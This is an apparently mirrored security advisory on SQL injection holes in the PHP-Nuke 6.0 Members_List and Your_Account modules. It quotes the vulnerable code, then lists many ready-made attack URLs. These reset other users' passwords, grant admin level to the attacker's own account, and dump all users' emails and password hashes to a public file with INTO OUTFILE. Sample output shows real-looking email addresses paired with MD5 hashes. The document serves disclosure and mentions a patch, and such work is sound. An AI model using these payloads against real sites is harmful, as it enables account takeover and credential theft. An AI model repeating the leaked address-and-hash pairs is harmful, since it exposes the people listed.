|
COMMAND PHP-Nuke Serious SQL Injection Security Holes SYSTEMS AFFECTED PHP-Nuke 6.0 (& 6.5?), Modules : Members_List, Your_Account PROBLEM In Frog Man (frog-m@n] advisory : http://www.frog-man.org/tutos/PHP-Nuke6.0-Members_List-Your_Account.txt PHP Configuration : This will work if magic_quotes_gpc=OFF. PHP Code/Location : °°°°°°°°°°°°°°°°°°° /modules/Members_List/index.php : ------------------------------------------------------------------------ [...] $count = "SELECT COUNT(uid) AS total FROM ".$user_prefix."_users "; $select = "select uid, name, uname, femail, url from ".$user_prefix."_users "; $where = "where uname != 'Anonymous' "; if ( ( $letter != "Other" ) AND ( $letter != "All" ) ) { $where .= "AND uname like '".$letter."%' "; } else if ( ( $letter == "Other" ) AND ( $letter != "All" ) ) { $where .= "AND uname REGEXP \"^\[1-9]\" "; } else { $where .= ""; } $sort = "order by $sortby"; $limit = " ASC LIMIT ".$min.", ".$max; $count_result = sql_query($count.$where, $dbi); $num_rows_per_order = mysql_result($count_result,0,0); $result = sql_query($select.$where.$sort.$limit, $dbi) or die(); echo "<br>"; if ( $letter != "front" ) { echo "<table width=\"100%\" border=\"0\" cellspacing=\"1\"><tr>\n"; echo "<td BGCOLOR=\"$bgcolor4\" align=\"center\"><b>"._NICKNAME."</b></td>\n"; echo "<td BGCOLOR=\"$bgcolor4\" align=\"center\"><b>"._REALNAME."</b></td>\n"; echo "<td BGCOLOR=\"$bgcolor4\" align=\"center\"><b>"._EMAIL."</b></td>\n"; echo "<td BGCOLOR=\"$bgcolor4\" align=\"center\"><b>"._URL."</b></td>\n"; $cols = 4; [...] ------------------------------------------------------------------------ /modules/Your_Account/index.php : ------------------------------------------------------------------------ switch($op) { [...] case "mailpasswd": mail_password($uname, $code); break; case "userinfo": userinfo($uname, $bypass, $hid, $url); break; case "login": login($uname, $pass); break; [...] case "saveuser": saveuser($uid, $realname, $uname, $email, $femail, $url, $pass, $vpass, $bio, $user_avatar, $user_icq, $user_occ, $user_from, $user_intrest, $user_sig, $user_aim, $user_yim, $user_msnm, $attach, $newsletter); break; [...] case "savehome": savehome($uid, $uname, $storynum, $ublockon, $ublock, $broadcast, $popmeson); break; case "savetheme": savetheme($uid, $theme); break; [...] case "savecomm": savecomm($uid, $uname, $umode, $uorder, $thold, $noscore, $commentmax); break; [...] } ------------------------------------------------------------------------ /modules/Your_Account/index.php : ------------------------------------------------------------------------ [...] function saveuser($uid, $realname, $uname, $email, $femail, $url, $pass, $vpass, $bio, $user_avatar, $user_icq, $user_occ, $user_from, $user_intrest, $user_sig, $user_aim, $user_yim, $user_msnm, $attach, $newsletter) { global $user, $cookie, $userinfo, $EditedMessage, $user_prefix, $dbi, $module_name; cookiedecode($user); $check = $cookie[1]; $check2 = $cookie[2]; $result = sql_query("select uid, pass from ".$user_prefix."_users where uname='$check'", $dbi); list($vuid, $ccpass) = sql_fetch_row($result, $dbi); if (($uid == $vuid) AND ($check2 == $ccpass)) { if (!eregi("http://", $url)) { $url = "http://$url"; } if ((isset($pass)) && ("$pass" != "$vpass")) { echo "<center>"._PASSDIFFERENT."</center>"; } elseif (($pass != "") && (strlen($pass) < $minpass)) { echo "<center>"._YOUPASSMUSTBE." <b>$minpass</b> "._CHARLONG."</center>"; } else { if ($bio) { filter_text($bio); $bio = $EditedMessage; $bio = FixQuotes($bio); } if ($pass != "") { cookiedecode($user); sql_query("LOCK TABLES ".$user_prefix."_users WRITE", $dbi); $pass = md5($pass); sql_query("update ".$user_prefix."_users set name='$realname', email='$email', femail='$femail', url='$url', pass='$pass', bio='$bio' , user_avatar='$user_avatar', user_icq='$user_icq', user_occ='$user_occ', user_from='$user_from', user_intrest='$user_intrest', user_sig='$user_sig', user_aim='$user_aim', user_yim='$user_yim', user_msnm='$user_msnm', newsletter='$newsletter' where uid='$uid'", $dbi); $result = sql_query("select uid, uname, pass, storynum, umode, uorder, thold, noscore, ublockon, theme from ".$user_prefix."_users where uname='$uname' and pass='$pass'", $dbi); if(sql_num_rows($result, $dbi)==1) { $userinfo = sql_fetch_array($result, $dbi); docookie($userinfo[uid],$userinfo[uname],$userinfo[pass],$userinfo[storynum],$userinfo[umode],$userinfo[uorder],$userinfo[thold],$userinfo[noscore],$userinfo[ublockon],$userinfo[theme],$userinfo[commentmax]); } else { echo "<center>"._SOMETHINGWRONG."</center><br>"; } sql_query("UNLOCK TABLES", $dbi); } else { sql_query("update ".$user_prefix."_users set name='$realname', email='$email', femail='$femail', url='$url', bio='$bio', user_avatar='$user_avatar', user_icq='$user_icq', user_occ='$user_occ', user_from='$user_from', user_intrest='$user_intrest', user_sig='$user_sig', user_aim='$user_aim', user_yim='$user_yim', user_msnm='$user_msnm', newsletter='$newsletter' where uid='$uid'", $dbi); if ($attach) { $a = 1; } else { $a = 0; } } Header("Location: modules.php?name=$module_name"); } } } [...] function savehome($uid, $uname, $storynum, $ublockon, $ublock, $broadcast, $popmeson) { global $user, $cookie, $userinfo, $user_prefix, $dbi, $module_name; cookiedecode($user); $check = $cookie[1]; $check2 = $cookie[2]; $result = sql_query("select uid, pass from ".$user_prefix."_users where uname='$check'", $dbi); list($vuid, $ccpass) = sql_fetch_row($result, $dbi); if (($uid == $vuid) AND ($check2 == $ccpass)) { if(isset($ublockon)) $ublockon=1; else $ublockon=0; $ublock = FixQuotes($ublock); sql_query("update ".$user_prefix."_users set storynum='$storynum', ublockon='$ublockon', ublock='$ublock', broadcast='$broadcast', popmeson='$popmeson' where uid='$uid'", $dbi); getusrinfo($user); docookie($userinfo[uid],$userinfo[uname],$userinfo[pass],$userinfo[storynum],$userinfo[umode],$userinfo[uorder],$userinfo[thold],$userinfo[noscore],$userinfo[ublockon],$userinfo[theme],$userinfo[commentmax]); Header("Location: modules.php?name=$module_name"); } } function savetheme($uid, $theme) { global $user, $cookie, $userinfo, $user_prefix, $dbi, $module_name; cookiedecode($user); $check = $cookie[1]; $check2 = $cookie[2]; $result = sql_query("select uid, pass from ".$user_prefix."_users where uname='$check'", $dbi); list($vuid, $ccpass) = sql_fetch_row($result, $dbi); if (($uid == $vuid) AND ($check2 == $ccpass)) { sql_query("update ".$user_prefix."_users set theme='$theme' where uid='$uid'", $dbi); getusrinfo($user); docookie($userinfo[uid],$userinfo[uname],$userinfo[pass],$userinfo[storynum],$userinfo[umode],$userinfo[uorder],$userinfo[thold],$userinfo[noscore],$userinfo[ublockon],$userinfo[theme],$userinfo[commentmax]); Header("Location: modules.php?name=$module_name&theme=$theme"); } } [...] function savecomm($uid, $uname, $umode, $uorder, $thold, $noscore, $commentmax) { global $user, $cookie, $userinfo, $user_prefix, $dbi, $module_name; cookiedecode($user); $check = $cookie[1]; $check2 = $cookie[2]; $result = sql_query("select uid, pass from ".$user_prefix."_users where uname='$check'", $dbi); list($vuid, $ccpass) = sql_fetch_row($result, $dbi); if (($uid == $vuid) AND ($check2 == $ccpass)) { if(isset($noscore)) $noscore=1; else $noscore=0; sql_query("update ".$user_prefix."_users set umode='$umode', uorder='$uorder', thold='$thold', noscore='$noscore', commentmax='$commentmax' where uid='$uid'", $dbi); getusrinfo($user); docookie($userinfo[uid],$userinfo[uname],$userinfo[pass],$userinfo[storynum],$userinfo[umode],$userinfo[uorder],$userinfo[thold],$userinfo[noscore],$userinfo[ublockon],$userinfo[theme],$userinfo[commentmax]); Header("Location: modules.php?name=$module_name"); } } [...] ------------------------------------------------------------------------ /modules/Your_Account/index.php : ------------------------------------------------------------------------ [...] function mail_password($uname, $code) { global $sitename, $adminmail, $nukeurl, $user_prefix, $dbi, $module_name; $result = sql_query("select email, pass from ".$user_prefix."_users where (uname='$uname')", $dbi); if(!$result) { include("header.php"); OpenTable(); echo "<center>"._SORRYNOUSERINFO."</center>"; CloseTable(); include("footer.php"); [...] ------------------------------------------------------------------------ ------------------------------------------------------------------------ [...] function userinfo($uname, $bypass=0, $hid=0, $url=0) { global $user, $cookie, $sitename, $prefix, $user_prefix, $dbi, $admin, $broadcast_msg, $my_headlines, $module_name; $result = sql_query("select uid, femail, url, bio, user_avatar, user_icq, user_aim, user_yim, user_msnm, user_from, user_occ, user_intrest, user_sig, pass, newsletter from ".$user_prefix."_users where uname='$uname'", $dbi); $userinfo = sql_fetch_array($result, $dbi); [...] ------------------------------------------------------------------------ ------------------------------------------------------------------------ [...] function login($uname, $pass) { global $setinfo, $user_prefix, $dbi, $module_name; $result = sql_query("select pass, uid, storynum, umode, uorder, thold, noscore, ublockon, theme, commentmax from ".$user_prefix."_users where uname='$uname'", $dbi); $setinfo = sql_fetch_array($result, $dbi); [...] } [...] ------------------------------------------------------------------------ Exploits : °°°°°°°°°° Members_List : - Show users (order by crypted pass) : http://[target]/modules.php?name=Members_List&letter=All&sortby=pass - Show users (order by UID) : http://[target]/modules.php?name=Members_List&letter=All&sortby=uid - Show moderators : http://[target]/modules.php?name=Members_List&letter='%20OR%20user_level='2'/* - Show administrators : http://[target]/modules.php?name=Members_List&letter='%20OR%20user_level='4'/* - Show all users having a crypted pass beginning with 'abc' : http://[target]/modules.php?name=Members_List&letter='%20OR%20pass%20LIKE%20'abc%25'/* - Etc... Your_Account : - Change the name of 'Admin' user into "hophophop" : http://[target]/modules.php?name=Your_Account&op=savetheme&theme=',name='Hophophop'%20where%20uname='Admin'/*&uid=[OUR_UID] - Change the Bob's password INTO md5_decrypted 'd41d8cd98f00b204e9800998ecf8427e' : http://[target]/modules.php?name=Your_Account&op=savetheme&theme=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*&uid=[OUR_UID] or : http://[target]/modules.php?name=Your_Account&op=saveuser&realname=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*&uid=[OUR_UID] or : http://[target]/modules.php?name=Your_Account&op=saveuser&email=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*&uid=[OUR_UID] or : http://[target]/modules.php?name=Your_Account&op=savehome&storynum=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*&uid=[OUR_UID] or : http://[target]/modules.php?name=Your_Account&op=savehome&ublockon=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*&uid=[OUR_UID] or : http://[target]/modules.php?name=Your_Account&op=savecomm&umode=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*&uid=[OUR_UID] or : http://[target]/modules.php?name=Your_Account&op=savecomm&thold=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*&uid=[OUR_UID] or...or... and or again :p - Change our own user account level into admin level : http://[target]/modules.php?name=Your_Account&op=savetheme&theme=',user_level='4&uid=[OUR_UID] or : http://[target]/modules.php?name=Your_Account&op=saveuser&femail=',user_level='4&uid=[OUR_UID] or : http://[target]/modules.php?name=Your_Account&op=saveuser&url=http://',user_level='4&uid=[OUR_UID] or : http://[target]/modules.php?name=Your_Account&op=savehome&broadcast=',user_level='4&uid=[OUR_UID] or : http://[target]/modules.php?name=Your_Account&op=savecomm&uorder=',user_level='4&uid=[OUR_UID] or etc... - Save all users' email & crypted password into http://[target]/AllMailPass.txt : http://[target]/modules.php?name=Your_Account&op=mailpasswd&uname=')%20OR%201=1%20INTO%20OUTFILE%20'/[path/to/site]/AllMailPass.txt'/* It will give in http://[target]/AllMailPass.txt anything like : -------------------------------------------------------- chaeyut@yahoo.com a34e83e6658923ceb100abb52cd31df6 for-ever@yahoo.com 5728cea4924d9097c78d08165ad1dd8a runbur@netzero.com 546fa9501a436d4615b798f856386ba8 venom@yahoo.com 614edfbc874f09d75b98240295a8f39f gotchakd@yahoo.de fbd125e74581979d2b7fc6e2b360e286 cfischer@mindspring.com 9407c826d8e3c07ad37cb2d13d1cb641 mike@xiradio.com f9ac6b05beccb0fc5837b6a7fef4c1d3 mikdif@yahoo.com 6106edf3e22b0cd8609fa1112d0ae962 mcurry@hotmail.com 739897be3e14cf5a9fb032069f522b77 -------------------------------------------------------- (crypted password can be sent by cookie to access to the account). - Save the informations about users wich have an uid between 190 and 196 into http://[target]/1.txt : http://[target]/modules.php?name=Your_Account&op=userinfo&uname='%20OR%20uid>190%20AND%20uid<196%20INTO%20OUTFILE%20'/[path/to/site]/1.txt - Save all informations about admins, moderators,... into http://[target]/admintxt : http://[target]/modules.php?name=Your_Account&op=login&uname='%20OR%user_level>1%20INTO%20OUTFILE%20'/[path/to/site]/admin.txt etc etc ... ! [path/to/site] can be found (for example) on http://[target]/modules/Forums/bb_smilies.php (Path Disclosure Security Hole). SOLUTION A patch has been created and published on http://www.phpsecure.info